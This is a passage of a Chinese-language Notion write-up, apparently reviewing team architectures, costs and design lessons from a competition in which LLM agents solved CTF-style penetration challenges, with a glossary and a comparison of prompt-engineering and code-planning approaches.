1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">1. 顾问Agent设计</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81dd85bdc764503d3094"><b>核心理念：</b> 模拟人类专家的思维方式</div><div class="notion-text notion-block-30a0f0c5b87c812598a4cf3e3c8fb4f3"><b>特点：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81afa286ed568e311ce0"><li><b>从不盲信LLM</b> - 批判性思维</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8199b633f4825123cf3d"><li><b>极简的工具设计</b> - 直接用Kali工具</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81a0b356de5519b0a598"><li><b>把主动权交给LLM</b> - 让它自己规划</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c815b9dd9fbd74c79447b"><li><b>兜底策略</b> - 关键时刻救回多道题</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c815d913ddd2e72555cef" data-id="30a0f0c5b87c815d913ddd2e72555cef"><span><div id="30a0f0c5b87c815d913ddd2e72555cef" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c815d913ddd2e72555cef" title="2. 极简工具设计"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2. 极简工具设计</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81669108c521cddbc13a"><b>设计思路：</b> 放弃复杂封装，直接让LLM用Kali工具</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81d79049e75519e07432" data-id="30a0f0c5b87c81d79049e75519e07432"><span><div id="30a0f0c5b87c81d79049e75519e07432" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81d79049e75519e07432" title="3. 把主动权交给LLM"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3. 把主动权交给LLM</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8160af11f1e5618fd6d9"><b>设计理念：</b> 让AI自己规划攻击步骤</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8161801efb5300814eb8" data-id="30a0f0c5b87c8161801efb5300814eb8"><span><div id="30a0f0c5b87c8161801efb5300814eb8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8161801efb5300814eb8" title="当前问题"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">当前问题</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c818a9d69f6d9ae6d6dd0" data-id="30a0f0c5b87c818a9d69f6d9ae6d6dd0"><span><div id="30a0f0c5b87c818a9d69f6d9ae6d6dd0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c818a9d69f6d9ae6d6dd0" title="主Agent的Prompt混杂太多"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">主Agent的Prompt混杂太多</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81199447daabde3c48b0"><b>问题内容混杂：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81319debf87d5120818d"><li>解题策略</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81768618dda89472fbd8"><li>Python规范</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c812b8f63f164cac1df64"><li>Docker用法</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8193a891dd96c2e44740"><li>漏洞知识</li></ul><div class="notion-text notion-block-30a0f0c5b87c81839626ec004969c941"><b>导致问题：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81fbb969c10d17df123b"><li>认知负担过重</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81429dffe953b90e32f1"><li>出现Python代码格式错误</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81cfa60cdb9d37868f7b"><li>工具误用</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8155b836f1ad05e5bee3"><li>漏洞判断失误</li></ul><div class="notion-text notion-block-30a0f0c5b87c8180a5c9e4990133bc49"><b>总结：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c81b890e5eb6276ca0c58"><div>“冲刺策略、消耗大、效果差”</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8114b417d6a8661bc14d" data-id="30a0f0c5b87c8114b417d6a8661bc14d"><span><div id="30a0f0c5b87c8114b417d6a8661bc14d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8114b417d6a8661bc14d" title="实际成果"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">实际成果</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c814b9c45d91abecff7a6"><b>统计数据：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b28003c449f3757c3b"><li>解出题目：73道</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8170b597f6667cf6455d"><li>总消耗：1000元</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8149b271daea2ed241a2"><li>平均每题：13.7元</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81faaff4dcb532620f2d"><li>使用模型：全部DeepSeek</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81d0ba7bfada2ca9ef5b" data-id="30a0f0c5b87c81d0ba7bfada2ca9ef5b"><span><div id="30a0f0c5b87c81d0ba7bfada2ca9ef5b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81d0ba7bfada2ca9ef5b" title="成本分析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">成本分析</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c812da771d23145c1c845"><b>在所有战队中：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c810f8715e26f3280fbb7"><li>成本：13.7元/题（中游水平）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c813fb167c986ecd61ff9"><li>比绿盟（13元）略高</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81039f06fc5aa6fd7c8c"><li>比Antix（19.2元）低</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c819d89c4c5d6fc005341"><li>性价比不错</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81ad859fcf59180523d7" data-id="30a0f0c5b87c81ad859fcf59180523d7"><span><div id="30a0f0c5b87c81ad859fcf59180523d7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81ad859fcf59180523d7" title="未来规划"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">未来规划</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c810babf5ece0caffacef" data-id="30a0f0c5b87c810babf5ece0caffacef"><span><div id="30a0f0c5b87c810babf5ece0caffacef" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c810babf5ece0caffacef" title="主Agent只负责规划"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">主Agent只负责规划</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81b0aec3f3a6dead13ae"><b>改进思路：</b></div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c814f9a48f8db63a3560b" data-id="30a0f0c5b87c814f9a48f8db63a3560b"><span><div id="30a0f0c5b87c814f9a48f8db63a3560b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c814f9a48f8db63a3560b" title="按需加载知识"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">按需加载知识</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c817bb466c53912a33460"><b>参考Claude Code的Skills设计：</b></div><div class="notion-text notion-block-30a0f0c5b87c81f58e0cd55797d96f5e"><b>示例：</b></div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81d0ab6ce42a2a002637" data-id="30a0f0c5b87c81d0ab6ce42a2a002637"><span><div id="30a0f0c5b87c81d0ab6ce42a2a002637" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81d0ab6ce42a2a002637" title="可借鉴之处"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">可借鉴之处</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8120ad4fda24f66fdbe0" style="list-style-type:decimal"><li><b>顾问介入机制</b> ⭐⭐⭐⭐⭐ - 创新的兜底策略，可直接应用到其他系统</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c815d929bf2659d9784e7" style="list-style-type:decimal"><li><b>极简工具设计</b> ⭐⭐⭐⭐ - 避免过度封装，降低上下文干扰</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8115a89ccfd19f68134f" style="list-style-type:decimal"><li><b>按需知识加载</b> ⭐⭐⭐⭐⭐ - 参考Claude Code Skills，避免Prompt爆炸</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8181942ac1785ec95c8e" style="list-style-type:decimal"><li><b>子Agent分工</b> ⭐⭐⭐⭐ - 规划与执行分离，降低认知负担</li></ol><hr class="notion-hr notion-block-30a0f0c5b87c8177af55d29c86afd974"/><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-30a0f0c5b87c81eead44fc8f821c2741" data-id="30a0f0c5b87c81eead44fc8f821c2741"><span><div id="30a0f0c5b87c81eead44fc8f821c2741" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81eead44fc8f821c2741" title="核心术语表"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">核心术语表</span></span></h2><div class="notion-text notion-block-30a0f0c5b87c81c8be55c7c9433db4fb">为确保文档专业性，本文档中使用的核心技术术语定义如下：</div><table class="notion-simple-table notion-block-30a0f0c5b87c81949262e3e4210127c4"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-30a0f0c5b87c81499de9cca7b752dc96"><td class="" style="width:120px"><div class="notion-simple-table-cell">术语</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">全称</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">定义</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">来源</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81059871c708e9af82f9"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>MPI</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Model Programming Interface</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">模型编程接口，用代码而非提示词来控制AI模型</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">长亭外团队自定义</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8153a23bd2d6c3d1e274"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>MCP</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Model Context Protocol</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">模型上下文协议，Anthropic提出的AI工具标准化协议</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Anthropic (2024)</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c819d92d1c332ecca41fa"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>DSPy</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Declarative Programming for LLMs</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">斯坦福NLP Group开发的程序化LLM交互框架</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Stanford NLP Group</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c818698a3e43c71427a7d"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Meta-Tooling</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">元工具模式</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">不直接调用工具，而是让AI写代码来调用工具的设计模式</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Antix团队</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81e2b5b4d4207b7a1fc0"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>APG</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Agent Pattern Graph</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Agent意图图谱，用YAML定义的声明式攻击流程图</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">BinX团队</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8110a9e9e261000866cb"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>ReAct</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Reasoning + Acting</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">推理-行动循环模式</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Stanford (2022)</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8181874bd2e73e09deed"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>ReMem</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Remember Memory</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">记忆回溯机制，存储和复用攻击经验的系统</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">NeuroSploit团队</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81929880ca7144ced393"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>SOP</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Standard Operating Procedure</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">标准作业程序</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">通用术语</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81539976e81c2245101c"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>CTF</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Capture The Flag</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">夺旗赛，网络安全竞赛形式</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">通用术语</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c814da4bfe4f6c486899e"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>RAG</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Retrieval-Augmented Generation</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">检索增强生成，结合知识库的生成方式</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">通用术语</div></td></tr></tbody></table><blockquote class="notion-quote notion-block-30a0f0c5b87c81e5850af4cdeb74db8e"><div><b>重要说明：</b> MPI本文档中的定义不同于传统并行计算中的MPI（Message Passing Interface，消息传递接口）</div></blockquote><hr class="notion-hr notion-block-30a0f0c5b87c81539768eab3696714b5"/><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-30a0f0c5b87c81698688fff5678c462f" data-id="30a0f0c5b87c81698688fff5678c462f"><span><div id="30a0f0c5b87c81698688fff5678c462f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81698688fff5678c462f" title="技术路线深度对比"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">技术路线深度对比</span></span></h2><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c815c9e43e9fddae15dd4"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/gen03_agent_architectures-20260217113443-68tfxgv.jpg?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-815c-9e43-e9fddae15dd4" alt="生成图片 - 三种Agent架构对比" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c81feb048f518b3fa2230">生成图片 - 三种Agent架构对比</div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c81c9afb1d7f6160ede03" data-id="30a0f0c5b87c81c9afb1d7f6160ede03"><span><div id="30a0f0c5b87c81c9afb1d7f6160ede03" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81c9afb1d7f6160ede03" title="路线1: Prompt Engineering (提示词工程) ⚠️"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">路线1: Prompt Engineering (提示词工程) ⚠️</span></span></h3><div class="notion-text notion-block-30a0f0c5b87c8121866ed74c6c95f209"><b>代表战队：</b> 早期方案，本次比赛无人采用纯Prompt方案</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c81b8af8ae40b37eb9608"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/gen01_prompt_vs_code-20260217113443-zhyn7ke.jpg?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-81b8-af8a-e40b37eb9608" alt="生成图片 - Prompt工程vs代码规划对比" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c81a1999dc57d4224a1d7">生成图片 - Prompt工程vs代码规划对比</div><div class="notion-text notion-block-30a0f0c5b87c81a3bbd6dbfbbff3ffab"><b>局限性：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81ce9e84d11bdc9f14e4"><li>⚠️ 稳定性依赖模型能力</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8185bba1cd3298a6a595"><li>⚠️ 复杂逻辑难以精确表达</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81cf9928cea541b70927"><li>⚠️ 维护成本高</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b89c32e8b1896dd5c2"><li>⚠️ 长上下文性能下降</li></ul><div class="notion-text notion-block-30a0f0c5b87c81a4a182ec934d1e3ff8"><b>结论：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c816593b3ed8885072508"><div><b>在复杂任务中已被代码规划超越，但在简单场景仍有效</b></div><div class="notion-text notion-block-30a0f0c5b87c81c895cdf6a5e488e748"><b>适合场景：</b> 快速原型开发、简单任务
<b>不适合场景：</b> 生产环境、复杂自动化流程</div></blockquote><hr class="notion-hr notion-block-30a0f0c5b87c811babbdc092d9e7020d"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c81e68ce0fd811ac5b295" data-id="30a0f0c5b87c81e68ce0fd811ac5b295"><span><div id="30a0f0c5b87c81e68ce0fd811ac5b295" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81e68ce0fd811ac5b295" title="路线2: Code Planning (代码规划) ✅"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">路线2: Code Planning (代码规划) ✅</span></span></h3><div class="notion-text notion-block-30a0f0c5b87c813c8244dc79d71c1f2d"><b>代表战队：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8183b038e7e207a429f3"><li>🥇 长亭外（MPI/DSPy）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81588657f73db3275e63"><li>🥈 西安交大（XML协议）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8170873ac6f9e3a95a27"><li>🥉 BinX（元工具编排）</li></ul><div class="notion-text notion-block-30a0f0c5b87c8144961eccdeb4d4bcd2"><b>核心理念：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c812db759da8aa0ea5405"><div><b>用代码/协议替代Prompt进行规划和控制</b></div></blockquote><div class="notion-text notion-block-30a0f0c5b87c81f49034fc4641961f08"><b>优势：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81899200e0dfc24d5920"><li>✅ 精确性</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81fab129c7a469a2ee99"><li>✅ 稳定性</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8168a777ce4326eb81b2"><li>✅ 可维护性</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8160b5c4ece916d17301"><li>✅ 可扩展性</li></ul><div class="notion-text notion-block-30a0f0c5b87c814c8bebfc59a151917c"><b>结论：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c81f49097e1f8525bd4d5"><div><b>代码规划是明确的主流方向</b></div></blockquote><hr class="notion-hr notion-block-30a0f0c5b87c813bbe54c8e1658adba2"/><h3 class="notion-h notion-h2 notion-h-indent-1 